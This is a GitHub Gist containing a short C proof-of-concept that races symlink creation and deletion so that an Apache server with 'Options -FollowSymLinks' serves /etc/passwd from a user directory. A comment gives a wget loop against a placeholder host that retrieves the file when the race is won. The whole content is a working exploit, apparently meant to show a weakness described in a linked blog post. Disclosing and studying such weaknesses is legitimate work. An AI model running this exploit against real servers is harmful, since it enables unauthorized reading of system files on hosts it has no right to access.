Last active
December 22, 2015 03:19
-
-
Save fumiyas/445d2b8263a789cfcb52 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Apache HTTPD: `Options -FollowSymLinks` は不完全 - ダメ出し Blog | |
http://fumiyas.github.io/2013/09/03/no-followsymlinks-is-not-safe.html | |
while :; do wget -q -O - http://example.jp/~user/passwd >passwd && [ -s passwd ] && break; done | |
*/ | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/stat.h> | |
#include <sched.h> | |
int main(int argc, char **argv) { | |
while (1) { | |
symlink("/etc/passwd", "passwd"); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
unlink("passwd"); | |
close(creat("passwd", 0755)); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
sched_yield(); | |
unlink("passwd"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment